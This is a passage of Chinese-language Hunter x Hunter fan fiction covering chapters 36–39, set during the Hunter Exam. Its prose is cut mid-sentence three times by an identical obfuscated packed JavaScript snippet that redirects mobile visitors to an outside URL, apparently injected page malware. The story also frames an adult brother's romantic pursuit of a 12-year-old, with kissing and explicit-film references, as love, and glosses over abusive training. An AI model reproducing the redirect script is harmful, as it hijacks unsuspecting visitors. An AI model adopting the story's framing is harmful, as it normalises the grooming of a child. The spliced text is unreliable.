好在随着时间推移，出来的人越来越多，这位半藏就跑去和别的人吹嘘自己曾经的经历了，伊洛林终于有了一点喘息的空间，他微微松了一口气，身侧不知何时坐了集塔喇苦，他好奇地望了一眼对方，对方平静看着他，虽然看着好像没什么表情，但是总觉得恶趣味满满。 这个钉子好像有点像……不可能吧？长得不像啊。 大概是错觉吧。 集塔喇苦掏出来手机开始打字。 “心情不好？” “……一点点。” 不知为何伊洛林并不排斥他的靠近和搭腔，或许是因为不认识？对方的态度好像也不错的样子。看上去虽然奇怪，却并非不能理解。 “为什么？遇到了事情吗？” “你有遇到吗，里头的犯人？他对我说了一点事，所以我杀了他，我讨厌这样的人。”伊洛林望着自己的手：“可是杀了之后，我又在想，我真的能作为审判者掠夺他人的生命吗？一想到，他虐杀了那些女孩之后，却只是需要在这里坐牢，就觉得……不可原谅。” “你生气的是他的行为，还是觉得自己不能作为审判者？” “是行为吧。她们的父母会不会很痛苦……只要想到这个，就觉得很难过，他真该死……” 伊洛林喃喃自语。 “死得太轻松了，我应该给予他惨痛到悔过一辈子的疼痛才行……太可惜了。” 集塔喇苦安静看着他。 他认为自己不能作为审判者而存在，可他遏制不住自己的悲伤和愤怒，于是杀意翻涌，烦躁着，不安着，情绪不安着，难以平静。 手机上的字安静排列。 “你为她们复仇了，你不是审判者，只是做了一件好事。” 伊洛林微微一愣，他盯着集塔喇苦的眼睛。 “你……人很好诶。” “咔咔咔？” “刚刚我也不是在说谎的，你真的很酷。” 伊洛林对他勾唇轻轻一笑，抬头看向不远处的门，格蕾西和小杰他们一同冲出了门，摔在地上的同时立刻就爬起来，报仇一刻也不能迟缓地冲向西索，三拳打出，震碎了西索所在之地，又是几个极速闪现，和躲避的西索迎面来了几招。 “哎呀，哎呀~生气了？” “竟然把我直接从洞里丢下去！西索，我真服了！！” 格蕾西最后一拳砸碎了地面，她气得想给西索的发胶里兑胶水，同行的、故意捣乱的东巴已经鼻青脸肿，雷欧力想当然的也多了几个大包，乖巧站着像个小学生一样听话。在被指着鼻子骂了十分钟的色狼办不成大事就你这个样子考什么医学校扯根绳子结束吧你之后，雷欧力深刻反省自己，顶着一个被打出来的包的酷拉皮卡也让他闭嘴。 格蕾西真的在狂怒。 和伊洛林分开，被迫和西索同路，被西索丢进不知名洞里，有个家伙故意捣乱，还有个家伙是色胚，更有个家伙脑子转不过弯，气的格蕾西当场要变成狂暴小饼干。 一回头，看见集塔喇苦和伊洛林靠得那么近。 格蕾西：这世界能对我的心肝脾肺肾好一点吗？ 36. 36 伊洛林站起身，向格蕾西迎了上去。 “伊洛林——”格蕾西扒拉住他，委屈得要冒泡，立刻开始吐苦水。 东巴乱选，雷欧力色狼顾着摸女人，酷拉皮卡一根筋，让她最后在房间里待了四十个小时！她哀嚎着和伊洛林没见面快三天了，结果伊洛林和这个钉子男凑在一起，怎么回事啊！这个猎人考试是不是针对她啊？！ 雷欧力诚恳认错：“对不起。” 酷拉皮卡表情淡然：“虽然很抱歉，但是我并不后悔自己的决定。” 简而言之就是，下次还敢。 伊洛林无奈至极，哄着格蕾西，不跟他们玩了，接下去和他一起走。格蕾西狠狠瞪两眼西索，拉着伊洛林到一旁去，问他怎么突然和钉子男走得近。伊洛林说他叫集塔喇苦，人不错，刚刚还问他是不是心情不好，感觉是个好人。 “你看谁都像好人。”格蕾西叹气：“我讨厌集塔喇苦。” “那我一句话都不跟他说了。” 伊洛林顺畅接了下一句。 从陷阱塔出去后说是要给他们暂时地休息一下，可是旅馆收费太贵，谁身上带了那么多钱？诶，伊洛林带了。但是伊洛林还得攒钱，于是只能下水去搜集宝藏，不过他下去之前被酷拉皮卡叫住了。 “你不是很讨厌湿淋淋的吗？我帮你下去就好。” “……但我没为你做过什么。”伊洛林有些疑惑，酷拉皮卡脱下最外层的一件衣服交给伊洛林：“那么，请你帮我看好衣服，可以吗？” 酷拉皮卡本来询问了格蕾西是否需要帮助，毕竟在陷阱塔里，确实让格蕾西为难了，但格蕾西已经奴役了西索，自然不需要麻烦他。伊洛林还在等待酷拉皮卡回来，集塔喇苦走了过来，他身上还湿着，将一个金镯子放在了伊洛林怀里，随即转身就走，那金镯子闪烁着光辉，点缀着红宝石，细细一根。伊洛林犹豫着戴上，衬得他手腕更细了，可是这不方便战斗……他又脱下来，想要找到集塔喇苦还给他，但对方已经拿好钥匙进了旅馆。 等下再还给他吧。 就跟「我妈不让我跟你玩」一样，格蕾西不让他和他玩，肯定有自己的道理。 猫不问，但听话，所以猫是好猫。 酷拉皮卡回来时有些魂不守舍，他冲伊洛林勉强一下，将足够的宝藏交给他，随后拿着自己的衣服先行一步，格蕾西在岸边等着西索回来，她脾气还在，西索应的乖乖的，上来就去换门牌号了。 伊洛林也走过去，交付宝藏，获取门牌号。 “什么叫作……因为一起换了，所以只能在一起睡觉？” 格蕾西感觉自己头顶要冒火。 “嗯~就是字面上的意思哦，如果你要和伊洛林在一起睡觉，就必须——获取他同寝人的同意哦？” 格蕾西拉开门，集塔喇苦，格蕾西关上门。 “那你同意一下！你走！” 西索笑容满面：“我拒绝呢，因为我要和我的妹妹一起住，不然我会寂寞呢——” “那我出去找两个人换！” 每个人看见她背后的西索都逃之夭夭，要么就是碍于西索根本不敢换，格蕾西狠狠地踩西索的小脚趾，你不让我们一起睡，我们就睡外面行了吧！西索搂着她的腰，无视她的抗议，而伊洛林已经开始掏自己针要跟西索拼命时，手机收到了简讯。 伊尔迷：我在你的房间等你。不准和西索打架。 伊洛林：…… 更不想回去了！ 伊洛林扒拉住西索的门：“我叫你哥也行啊，西索哥哥，你就跟我换吧！你就跟我换吧！” 西索笑着，关上了门。 “不行哟，好孩子不应该打扰兄妹相处时间，对吧，伊洛林？” 伊洛林开始认真思考现在和西索鱼死网破的成功率是多少，还有不回房间被伊尔迷惩罚的概率是多少，他可以和别人换，但是伊尔迷肯定会以自己的手段达成目标。唯一能让他还算平静的是，格蕾西已经攒着一股子气开始打西索了，加油，格蕾西，往脸上打，死里打！ 他垂头丧气地回去，推开门看见的却是集塔喇苦。 他茫然，他不解。 直到集塔喇苦开口。 “真的，没有认出哥哥吗？” 在伊洛林骤然睁大的视线里，集塔喇苦拔掉了钉子，平静注视着伊洛林，脸变形又缩回，恢复了伊尔迷那张漂亮的脸蛋，他的声音很温柔，很平静，却又有一种风雨欲来的感觉。 “……大哥。” “伊洛林，过来。” 脚下像灌了铅似的沉重，伊洛林一步一步朝伊尔迷走去，他艰难行走，短短几步路压得他透不过气来，谨慎站在距离伊尔迷一步之遥的地方，而他停下脚步的一瞬间就被扯进了怀里，伊尔迷的手掌很大，压制住脖颈时拇指摁压住伊洛林的下唇，伊尔迷的声音依旧平静如初：“不是说我人很好吗？伊洛林，哥哥被你这样疏远，会很难过。” “……是大哥的错。” “嗯，是哥哥的错。” 伊尔迷坦然承认：“我好奇你的性取向，想要知道你的身体，并且付诸实践，我承认，你的任何教育我都不想拱手让人。” 他这么直接反而让伊洛林有些不知所措，刚刚安慰他的是伊尔迷这一点虽然很意外，但是不如说是震惊，他抬起眼，怯生对上伊尔迷幽沉的黑眸，他的哥哥依旧如初，束缚的姿态也没有太多的力道，他们之间太亲近，亲近得有些超出了兄弟的常理。伊洛林想，这太奇怪。 他坐在伊尔迷的腿上，感受大哥腿部肌肉与强壮的身躯，福灵心至，明白了什么。 “所以西索才不肯换房间？” “是。” “大哥怎么还和小孩子一样了……”伊洛林叹息，他实际上想从伊尔迷的腿上下去，成年男性搂着他的腰这一点，就让他忐忑不安，又怕伊尔迷不高兴，才勉强坐在这里。伊尔迷低头，他埋首在伊洛林的肩膀上，忽然放轻了声音。 “哥哥在害怕。” “你是哥哥从小养到大了，一直一直都在哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035579|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥身边，虽然，有很多弟弟，但是伊洛林，你是不一样的。” 伊洛林，你是不一样的。 这句话他好像听过很多次，却一次也没记住。 可是到底是哪里不一样呢？ “哥哥对你总是无从下手。” “实在想象不出来有一天你离开了哥哥，哥哥会怎么样。” 伊洛林不知道还觉得欢喜还是觉得头皮发麻，他隐约觉得这无关亲情，因为在他这里，伊尔迷也和家里人不一样。他们同吃同睡，一张床上睡觉，一个池子里洗澡，共用一样的沐浴露与洗发露，用着同一瓶身体乳与护发精油，他们身上的味道一样，他们的生活频率一致，所有的一切生活技能杀人技巧都是伊尔迷手把手教的。 大哥是不一样的，伊洛林从小就知道，伊尔迷得负责自己的一切。 家里人也这么默认。 吃穿用度，玩具与练习册，学习计划，外出任务。 他身上有伊尔迷的标签，不褪色，鲜明如初。 像他会说的第一句话是伊路哥，会叫的第一个词是伊尔迷，紧接着是大哥、哥哥，学会说的第一句连贯的话是大哥你回来了，甚至隐约记得从小…自己就是大哥的。 伊洛林张了张嘴，他喃喃自语似的开口。 “大哥你……喜欢男生吗？” 伊尔迷呼出的热气在他的脖颈处停留，伊洛林忍不住微微发抖：“伊洛林，哥哥只是喜欢你而已。” “我们是，我们是兄弟……” 很快就不是了。伊尔迷第一次体会这样复杂的心情，有不舍，有期待，也有一种愉悦。不舍得自己失去这样的弟弟，期待着弟弟对自己生出剧烈的情感，愉悦地等待着他们的关系改变然后直接质变，到底是恶化，还是如初？ 伊洛林的面前是所有人都期待他跳下去的悬崖。 猎人协会又何尝不是，一步一步逼他去走上绝路呢？ 你看，世界上恶劣的人不止哥哥一个，可最爱你的人一定是哥哥，你跳下去也没关系，哥哥一定会接住你的。哥哥会永远，永远，永远的……爱你啊。 “伊洛林，哥哥很好奇。” “你是因为我们是兄弟才拒绝，还是因为你一点也不爱哥哥而拒绝呢。” 伊洛林僵硬在伊尔迷怀里。 他下意识屏住呼吸，心跳却泄露了他的慌乱。 身体才十二岁，可是灵魂却早已经超过了年岁，伊洛林或许忘记，可是他清晰明白自己其实应该是个成年人，于是他曾经，微妙的，难以克制的，动了心。他压制得很好，藏在心里，连自己最后都忘记了那个不叫兄弟情。 弟弟是不会看着哥哥的身子面红耳赤的。 弟弟是不会因为哥哥晨起升旗而觉得浑身不自在的。 弟弟是不会因为哥哥给他放学习片而想要夺门而出的。 因为，伊洛林还拥有格蕾西相关的记忆，所以他永远也不能变成真正的弟弟。 他可悲，可耻，可怜的，喜欢过伊尔迷。 37. 37 伊尔迷的手掌很大，是和伊洛林相比较。 他年长伊洛林太多，于是他们之间的差距也像不可跨越的鸿沟，他的身高，他的体型，他的实力。 他能轻而易举地将伊洛林抱住或者举起，所以也能轻而易举地掌控他的动作，只是伊尔迷会想起顶开石砖的嫩芽，脆弱，一掐就断，却拥有顽强的生命力。指腹下摁压着的动脉，鼓动着心脏跳动的频率，他们待在一起太久，于是心跳也接近同频。 指尖上湿润着，是伊洛林的眼泪。 伊尔迷叹息着：“怎么又撒娇了……” 伊尔迷不懂眼泪，他不明白为什么而哭泣，不明白眼泪为什么是烫的，他记忆里自己并不曾哭泣，也没有谁告诉过他眼泪的意义，但伊尔迷想，伊洛林应该是在撒娇。眼泪是最没用的东西，偏偏伊洛林是最会哭的孩子，他训练时会哭，疼痛时会哭，绝望时会哭，杀人时也会哭，所以他是最没用的人吗？不，不是这样的。他一边哭着一边前进，一边哭着一边学习，他的眼泪另有作用，于是，伊尔迷确切地认为这是他在撒娇。 眼泪掉下来，就要有人给他擦，每一次伊尔迷都会擦去弟弟的眼泪，叹息他的脆弱与狼狈，无私奉献自己的怀抱，让他能够在安全的地方获取依靠。 如果要哭就在哥哥怀里哭，哥哥是不会厌烦你的眼泪和撒娇的。 没关系，再二十下，这场鞭打就结束。 没关系，再六分钟，这场电击就结束。 没关系，再十二次，这场训练就结束。 没关系的，伊洛林，哥哥会记录你的开始，提示你的过程，掐断你的终结。 会结束的事情只不过是过眼云烟罢了，如果有什么是永远的，揍敌客和哥哥的爱才是永远的才对。他用粗糙指腹擦去那眼泪，心道这也是破天荒头一回，自己愿意退让的时候。爸爸说得对，感情会让人做出与从前不一样的决定，自己也不可能免俗，毕竟还未脱离人类的范畴。 “除了格蕾西，还有哥哥会在。” 伊洛林不可避免想起暗无天日的那段时光，是记忆里的格蕾西在坚持着他，也是伊尔迷在他身侧才能坚持下来，他并不将两个人进行对比，只是无法否认这一点。 不论如何，伊尔迷会在，这就是他的反应。 “哥哥知道，你身上有秘密，你和格蕾西不简单，但是哥哥是不会逼迫你说出来的，等你想倾诉的时候记得哥哥在就好了。” “所以，叫得更亲近一点吧……” 伊洛林的眼泪积蓄在眼眶里，他抿唇，不是很确定伊尔迷的意思，只是一阵恍惚，他还记得曾经，是一件秘密？那些记忆朦胧，只有格蕾西鲜明，除此以外一切都不存在，他迟钝意识到那言下之意。 “……大哥是要，追求我？” “啊，就是这样的。”伊尔迷愉悦地扬起唇角，没有任何犹豫和停顿，他伸手与伊洛林十指相扣，哪怕自己的弟弟只有十二岁也无所谓。想要的东西就要立刻得到，喜欢的东西就掌握在手掌心里，想要的人当然也需要吃准后咬住脖颈让他永远属于自己，这是爱吗？这当然是爱啊：“哥哥在追求你，渴望你，想要拥有你……伊洛林，好好考虑清楚，哥哥会等你的。” 伊洛林涨红了脸，他说自己才十二岁，但是伊尔迷意有所指。 “你真的只有十二岁吗？” 伊洛林的皮都紧了一下。 “有些事情哥哥知道，哥哥只是不说而已。因为，哥哥愿意把你当小孩。” 他的慌乱太显而易见，明明对别人都还好，面对伊尔迷的时候情绪总是暴露无遗，他无话可说，只能逃避视线，而伊尔迷无所谓，他亲吻弟弟的耳根，却没再更进一步。 格蕾西的短讯传来。 格蕾西：那个钉子男有没有对你怎么样？警惕黄毛！ 伊洛林坐在伊尔迷的怀里，避无可避，只能当着他的面回消息。 伊洛林：他没问题，西索对你怎么样了吗？ 格蕾西：捶了他一顿！ 格蕾西：神经病的思维方式我们不要去理解就行。 伊洛林：今晚好好休息吧，考试没这么简单。 格蕾西：行。 格蕾西：你哥是不是来了？ 伊洛林：对，帮我保密一下哦…… 格蕾西：切，刚想和奇犽说的，好吧好吧。 伊洛林：晚安。 格蕾西：晚安。 伊尔迷又亲了亲伊洛林的面颊，这是夸奖他懂事。 “哥……” “再亲近一点。” “……哥哥。” “乖。” 伊洛林红着脸，不再说话。他觉得伊尔迷有点变化，还是那么强制的，却又，更加的柔软了一些？他在心虚，自己答应了不和集塔喇苦玩，但是这是大哥，所以和大哥说话是可以的，但是集塔喇苦……心虚。还好格蕾西不知道，否则今晚集塔喇苦是伊尔迷这件事就满天飞了。 他本来以为起码可以休息一晚上，结果半夜就被吵醒了。 本来想去帮忙，伊尔迷却搂着他不让。 “这是考验，如果你去了，那么他们的难度就减轻了。放心，哥哥会在适当的时候出手。” 这就是让人安心的大人吗？ 伊洛林和格蕾西联络后，她也只是在房间里并没有动弹，反正死不了，那就躺着睡觉，但是她把西索赶出去了，集塔喇苦如果不在，她就来伊洛林这，集塔喇苦如果在，伊洛林就去她那里。 “你想我不在吗？”伊尔迷问了一句。 伊洛林没说话，但伊尔迷还是收了手，从门口离开了。太听话了，反而让人有点心惊胆战。格蕾西收到短讯立刻就跑了过来，两个人凑在一起才有了安全感，伊洛林还是想要出去帮忙，格蕾西觉得自己待着又不乐意，干脆也跟着一起出去看看。 原来是店主两夫妻携宝藏跑路，而爆库儿找到的日记上记载，马上这里就会被潮水淹没。 “海啸啊这是。” 格蕾西毫无想法，这肯定是考试的一环，而一定有生路。他们就此兵分两路，伊洛林打算辅助雷欧力，格蕾西跟着奇犽走，他俩关键时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035580|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 各自有各自的领域，不是不能分开，只是绝大部分时候没必要分开罢了。 雷欧力深潜下去的时间由伊洛林掐表计算，他等了许久却没有等到雷欧力，面对着海洋，他最后计算了几秒钟，随即一个猛子扎了下去，憋了一口气在肺里义无反顾往下潜。 他知道这里需要他。 他的身体抗压能力强，没有装备深潜下去也行，他的力气大，压在雷欧力身上的重物他随手就能提起，他一手夹着雷欧力一手夹着炮弹，飞速回到海面将雷欧力交给上面等候的人，随即又是猛地冲下去，将绳子缠绕在弹药上，拖着弹药回到了甲板，一撑地就从海里坐到甲板上，浑身湿漉漉的时候，伊洛林就特别想叹气。 他真的很讨厌这样狼狈的自己。 会让他想起来……不好的情绪，是遗忘了过去也无法遗忘的情绪。 头发也乱糟糟的啊。伊洛林叹了一口气，爬过去暂且被抢救过来的雷欧力边上把他晃醒：“醒醒，雷欧力，我还要去看看酷拉皮卡，这里必须交给你了。” 雷欧力呛了两口水，胡乱抹了一把脸。 “你去，我…我立刻起来，真的……还是麻烦你来救我了。” “因为是你。” 伊洛林丢下这句话，径直去了掌舵的船长室，他推开门时酷拉皮卡已经在苦苦支撑，看见狼狈的伊洛林，酷拉皮卡愣了愣，而伊洛林已经完全不顾自己，扑过来和他一起抓住了舵盘。稳住了酷拉皮卡的身形。 “抱歉。” “为什么要道歉？” “因为你很在意自己的身体吧，如果湿透了，就会让你很不自在，但我却需要你的帮助。” 伊洛林望着前方，却是在笑。 “酷拉皮卡，你每次都很温柔，但我觉得你其实又有很多心事在心里。虽然我不知道发生了什么，不过如果有需求的话，我可以帮你——按照揍敌客家的说法，可以给你打八折。” 酷拉皮卡也笑了。 “嗯，如果是你的话，说不定我会完全地信任你。” “为什么？” “因为我觉得，我和你是一样的人。” “……” 是吗？伊洛林不清楚，但他没说什么。 风平浪静的黎明，到来了。 伊洛林简单整理了一下自己，因为是第三个到达陷阱塔底部的人，所以马不停蹄地进了森林，他需要猎杀的对象依稀记得是一个戴墨镜的狙击手，虽然很感谢她在暴风雨来临时给予的帮助，但是伊洛林并不准备在这里就退出。 手机微微震动。 伊尔迷：你的目标号是谁？ 伊洛林：狙击手女士。 伊尔迷：嗯。 伊尔迷：等着，我给你拿过来。 伊洛林：？ 伊尔迷把手机收好。 书上说这叫投其所好，追求他人的时候需要注意到他需要的东西，送到他手上，最好默默无声让他自己发现，但是伊尔迷想了想觉得不行，他做的，伊洛林必须知道。 杀掉两个对手，很简单。 38. 38 虽然对伊尔迷突然的自我感到疑惑，但伊洛林还是在最初的路上埋伏起来了。 该不会这就是大哥的追人手段吧？ 他后知后觉地想到，突然发现伊尔迷原来也不是无所不能，竟然在这种方面呆呆的，但是他自己也没谈过恋爱，所以根本没有资格说伊尔迷什么，大概自己也从未追求过谁吧。 这么想着，伊洛林的呼吸与状态都已经调节到了完美的程度。 猎人考试名不虚传，他们在陷阱塔里几乎没有休息，身为最早到达的他也只是硬生生坐到结束，状态比别人好但是也好不到哪里去。尤其是在经历过军舰岛危机之后，不说伊洛林这狼狈的姿态，旁人紧张刺激劫后余生突然丢进来大逃杀都有一点连轴转的感觉了，精力被消耗殆尽的时候，要一边修身养息，一边探查猎物，一边生存，一边保证自己不被狩猎，简直是绷紧神经到最后一刻。 团队配合之后立刻就要刀刃相见，心思真明显。 伊洛林把自己的号码牌藏了起来，他无声盘算着自己要做的事情，狩猎完成之后，就可以减少两重条件，接下来寻找格蕾西，帮忙获取号码牌，两个人的话能够警惕和轮值就更方便于生存到最后，紧接着是要回到考试出发点。 不知道格蕾西的对手是谁，那个号码牌，他没有什么印象。 不过格蕾西说自己能够搞定。 伊洛林缓慢跟上了自己的猎物，揍敌客家对隐藏自己是非常有信心的，他必须在伊尔迷的探查下保证自己能跑出去超过半小时，他必须轻和快，必须没有任何气息和想法，没有任何杀意与强烈的意志，像融入在风里，才能跟随着他人而不被发现。这是经过系统性的训练，哪怕是柯特也能运用得炉火纯青，除非是念力擅长专家，否则被发现的概率还是很小的。 狙击手自然也没有发觉，她正在寻找自己的猎物，本身伊洛林还不知道她的目标是谁，直到他远远地看见了一个光头钉子男。 伊洛林：…… 一瞬间不知道是该说想杀我大哥你还得练三百年，还是该说不然你换三个狩猎对象都比这个成功率高，他看得出来狙击手的近战能力应该不太行，所以才架着狙击枪。不过，伊洛林还有一种感觉就是，自己的人被盯上的不悦。 不过如果她盯着格蕾西，自己应该会觉得愤怒。 伊洛林不再犹豫，他闪身到狙击手身前，仅仅一个瞬间，双手交叉一推，狙击枪管扭曲变形。狙击枪未能有充足时间反应，整个人已经被掐着喉咙摁在了树干上。少年纤细瘦弱，落在树梢上时枝条也只轻轻晃动一下，然而掌心握力巨大，狙击手觉得自己的喉咙管危在旦夕。 伊洛林要掐断她的喉咙太容易，此刻她还活着，就只证明一点，他并不想杀人。 “看来，我也是别人的猎物啊……”她艰难吐出话语，主动将号码牌交给了伊洛林，他接住放进兜里，认认真真地告诉狙击手，那个集塔喇苦很强，你不可能打败他，还是去找点别的人尝试一下吧。 狙击枪苦笑，她的枪都被拧成俄罗斯方块了，这考试除了失败还有啥第二种结局？ 伊洛林迅速离开，发了两条消息。 第一条发给格蕾西，询问定位，第二条发给伊尔迷，告诉他自己已经到手了号码牌。 格蕾西发来定位，伊尔迷发了个表情包，应该是新下载的，之前没看他用过，是只黑色小猫趴在地上哭。伊洛林脚下一滑差点从树上摔下去，不可置信，唇瓣颤抖，颤颤巍巍截图保存了这珍贵的一幕。 天呐……这个聊天截图能不能拿去家族群里发了卖点钱？ 伊洛林回了个震惊猫猫，又回了个抱抱猫猫，伊尔迷也回了个抱抱猫猫，这次的聊天就戛然而止了。 格蕾西在水池边坐着，脚下躺着一个失去行动力的男人。 她本是面无表情盯着水面，是在看见伊洛林时才笑起来，伊洛林一眼没看那个男人，落在格蕾西面前，也对她扬起了笑脸：“是这个人吗？” “对，这下就齐全了，要甩开西索真不容易。” “西索怎么肯？” “哦，我和他说小杰的目标是他，他就高高兴兴地自己走了。” 小杰，请允悲。 伊洛林在心里为小杰默哀，两个人觉得水源附近不太安全，毕竟是人就会想喝水，他们应该收集一些水，然后去寻找其他地方暂且隐蔽起来。入口处就暂不考虑，毕竟会有一些人，因为找不到自己的猎物而选择在入口处埋伏，等到考试结束之前再发起攻击。 “你这身衣服不能再要了。”格蕾西扯了扯他的衣服，被水打湿了两次都没有好好拧干晾晒，伊洛林这身衣服已经皱皱巴巴，他也觉得自己应该换一身，可惜没准备，只能考试结束之后再换了。 “感觉其实对我们来说，没什么挑战。” “嗯，确实如此。” 格蕾西不置可否。 他们找了个好地方，有树洞，有草地，隐蔽性强，离出口比较远，没什么值得来的价值。他们躺在树洞里看星空，很久很久，很久很久没有这样，没有任何事情，只是平静地躺在一起，安静地独自相处，手掌紧紧交握，心跳趋于同频。 繁星璀璨，晚风习习。 按理说这个时候他们会有说不完的话，可是不知为何，他们两个人都保持了安静，这安静太陌生，和这个世界一样陌生。不知为何伊洛林突然产生一种感觉，像是暴风雨来临之前的宁静，像一段故事要开始的前奏，又像是这一场独处来之不易，总而言之，他有不好的预感，而这种预感，格蕾西也有。 这一夜寂静，这一夜显得无比珍贵。 伊洛林与格蕾西互相依偎。 直到上午八点他才睁开眼睛，望着依旧安睡的格蕾西。不远处，站着西索。 他手上扑克牌翻飞，却没有任何的杀气。 “嗯哼，睡着了啊……”他的号码牌还在，或许小杰就在附近埋伏着，伊洛林警惕地晃了晃格蕾西，而格蕾西却没有动静，她竟然没有醒？这是一件很奇怪的事，通常他们这样的人，很容易被惊醒，因为他们随时都在警惕，就算是正常人，这样的动力也应该会有苏醒的迹象，可是格蕾西没有。于是伊洛林又摇了摇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035581|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 格蕾西，她却依旧没有醒来，只是一味沉睡着，眉头略微皱起，不算太平和。 “要我帮你吗？” 西索笑着，身上却依旧没有任何的气息，仿佛在刻意引诱着伊洛林什么：“你可以试试哦，不论你怎么叫，她都不会醒，除非……有个人来杀她。” “……你是什么意思。” “我真的不太喜欢你呢，她从前很容易被引诱，一步一步……一步一步地走向我为她设想的结局，如果做个比喻，就是拧开了安全环的榴弹。”西索弯眸，他的声音欢快而轻柔：“见到她的时候我就知道，她一定会成为最美味的果实……但是你出现了，她的安全环立刻就插了回去，杀人都怕让你看见，瞧瞧，她甚至没杀掉自己的目标。” “流星街里可不能走出这么脆弱的人。” 伊洛林站起身，他护在了沉睡的格蕾西身前，他知道，关于他们本身遇到的一切，他们并没有对对方完全说明，唯恐对方难过，为了自己而流泪。 “那些都与你无关。” 伊洛林安静望着西索。 “她和我的关系，也与你无关，如果你要质疑我们，我只会觉得你很可怜，因为你一定没有被毫无保留地爱过，才觉得我们之间互为软肋是可笑的。” 西索伸出食指抵住唇瓣，眸色幽深。 “真是讨厌的孩子呢……那么试试吧，叫醒她，来证明你和她之间足够战胜一切吧。” 西索很清楚，格蕾西醒不来。 她的噩梦在夜里，她睡不醒，除非超过了二十四小时才会自己醒来，她会在梦里不断梦见她不愿意说出口的东西，每一次伴随着杀气才会迅速睁开眼睛的格蕾西，绝对不会把这件事告诉伊洛林，她甚至警告过自己不要说多余的话，不要做多余的事。那伊洛林，你要怎么叫醒一个只有在受到生命威胁才会醒来的人呢？ 伊洛林微微一动，他回身走到了格蕾西身边，蹲了下去。 “格蕾西，起床啦，我有点肚子饿了，今天吃三明治好不好？我们今天还有很多事要做，所以，别睡啦。” “……唔？到起床时间了吗……” 伊洛林说完这段话的几秒钟后，格蕾西缓缓翻了个身，她摸索着拉住了伊洛林的手，嘟囔着像是在撒娇。 “十分钟……再睡十分钟就好。” “好，十分钟后我叫你。” 西索的笑容收敛了，他和冷着一张脸的伊洛林遥遥相望，几秒钟后他转身离开。 真是糟糕。 他竟然是你唯一的例外吗，格蕾西。 这种东西，不应该存在。 【小剧场】 西索：摩西摩西，伊尔迷，妹妹养死了要怎么办呢？ 伊尔迷：埋了。 西索：好过分哦，她一直在睡觉，怎么摇都摇不醒——好无聊，回去就把她杀掉好了呢? 伊尔迷：然后埋了。 西索：啊，原来如此，用杀气激发一下就醒了呢！ 伊尔迷：手机死机也可以吗？ 西索：？ 西索：^ ^ 39. 39 先是一束光照破黑暗，再是一条路铺开眼前。 比黑夜更黑的颜色，映照出是人类内心的荒芜，踩踏过流淌的鲜血，黏稠的黑色也是血管里流通着的罪恶，一刀，再一刀，先杀丑恶嘴脸的人，再杀恶意溢出的人，他们的脸都熟悉，都清晰，都在问责格蕾西。 你为何要杀了我？ “因为你们该死。” “你们想要杀我，要我的命，所以你们该死。” 格蕾西没有手软，不曾手抖，就像她杀第一个人时那么冷静，她告诉自己的是这个世界的规则，心中坚持已久的守则早已碎裂，于是世界改写，道德翻篇，她心里唯一的信条就是睚眦必报。 她从流星街走出，她早就不算什么好人。 可是那束光，那条路，温暖而柔软地放在了她面前。 都说十恶不赦的人要下地狱，不可能上天堂，格蕾西也对所谓天堂不屑一顾，可那条路扑在那的时候她踏上去的动作连一秒都没有犹豫。 鞋底弄脏了那条路，没关系，因为他们从来都不在乎脏不脏。 格蕾西翻了个身，她摸索到伊洛林的手，困倦着、自然而然撒着娇：“十分钟，再十分钟……”她从梦里挣脱，只是浅浅的假寐着，温度传递，十指连心，她从噩梦里回了人间。 她都这样的艰难困苦，伊洛林，你又付出了什么样惨痛的代价，才成了你呢。 一觉睡醒，神清气爽，格蕾西一抬头发现伊洛林正对着手机笑，那种下意识、自己也不曾察觉的笑，她警惕心大起，凑过去一看。 有人给伊洛林发了一张表情包，黑猫从土里钻出来说早安。 一看备注。 大哥。 原来是伊尔迷啊……哈哈……哈哈……什么鬼啊？！ 格蕾西觉得惊悚，或许他们换了个鬼片片场穿越呢？你说这是伊尔迷？他该不会是被哪个人给穿了？鬼上身？鬼附身？还是他脑子被门夹了？ 伊洛林下意识心虚起来。 “啊，你起来啦……我已经找到早餐了。” 他把手机塞进怀里，起身去拿了今早的早餐，因地限制而只有两个鸟蛋煮熟了做饭，说三明治是他喜欢吃的，这个地方也没有那个食材。格蕾西沉默着吃完了两颗煮鸟蛋，她坐了一会儿心理建设，才开口询问。 “你哥……他终于疯了？” 伊洛林耳根子红通通，一副被人戳中心事的表情，格蕾西心中大悲。 “你在干什么！你在跟他干什么！你到底在跟他干什么啊！！” “你说！你该不会在搞什么，哪怕他在别人眼里凶巴巴，但是在我眼里他像小猫一样的咯噔文学吧？你说话啊！” “他疯了还是我疯了还是你疯了还是其实他是西索假扮的？” “我宁愿是西索！” 